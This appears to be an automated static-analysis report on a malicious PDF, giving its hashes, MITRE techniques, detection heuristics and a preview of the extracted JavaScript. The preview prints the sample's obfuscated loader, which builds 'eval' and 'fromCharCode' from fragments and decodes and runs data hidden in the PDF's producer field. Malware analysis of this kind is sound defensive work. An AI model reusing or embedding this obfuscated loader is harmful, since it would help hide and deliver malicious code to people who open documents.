Malicious PDF — malware analysis report

Static analysis result for SHA-256 d93927c9ec2fb905…

MALICIOUS

PDF

23.1 KB Created: 2011-72-51 03:25:00 First seen: 2015-09-22
MD5: 6166587a0305cbdaaf61c4c6deee4230 SHA-1: 5ed2022ad25bb9e5be26c2c099517b5153ca78c6 SHA-256: d93927c9ec2fb9051540f9f0b740cf6dc56668329f0d399cf54153ed21dae0e4
148 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 Command and Scripting Interpreter: PowerShell T1059.003 Command and Scripting Interpreter: Windows Command Shell

The PDF contains embedded JavaScript, indicated by PDF_JAVASCRIPT and PDF_JS heuristics. The JavaScript stream includes an eval() call, suggesting obfuscation and dynamic code execution. The extracted artifact 'javascript_obj0001_000.js' further confirms the presence of JavaScript. The primary intent appears to be the execution of this obfuscated script, likely to download and run a secondary payload or perform other malicious actions.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 4

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    Pacywkewinynoguqos=eval(KdAlacecilyhejewat+'l');
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0x58B2 749 bytes
SHA-256: 58c6f085e8d61d1d96bdb1e1eb8afca7b24974f2cda2e64c7be44797bdccf22d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var DasIaxjatv='';
RypabyghyXoj = new Date(2010,11,3,2);
var KdAlacecilyhejewat = function(){return {e:'eva'}}().e;
Pacywkewinynoguqos=eval(KdAlacecilyhejewat+'l');
MebymxetatydosaZyxik = 'thi'+RypabyghyXoj.getHours()+'ducer';
XmokanepyheGadi=Pacywkewinynoguqos(MebymxetatydosaZyxik.replace(2,'s.pro'));
CyhumIpegyrrowabefo = XmokanepyheGadi.split('s');
var HuowawyHno = '';
g = RypabyghyXoj.getHours();
var WagazyukysI = 'fro'+RypabyghyXoj.getHours()+'arCode';
WagazyukysI=WagazyukysI.replace(2,'mCh');
JzutavorOmex=String[WagazyukysI];
for (QifEw = 0; QifEw < CyhumIpegyrrowabefo.length; QifEw++) {
	Totrir = Pacywkewinynoguqos(CyhumIpegyrrowabefo[QifEw]);
	HuowawyHno += JzutavorOmex(Totrir);
}
Pacywkewinynoguqos(HuowawyHno);

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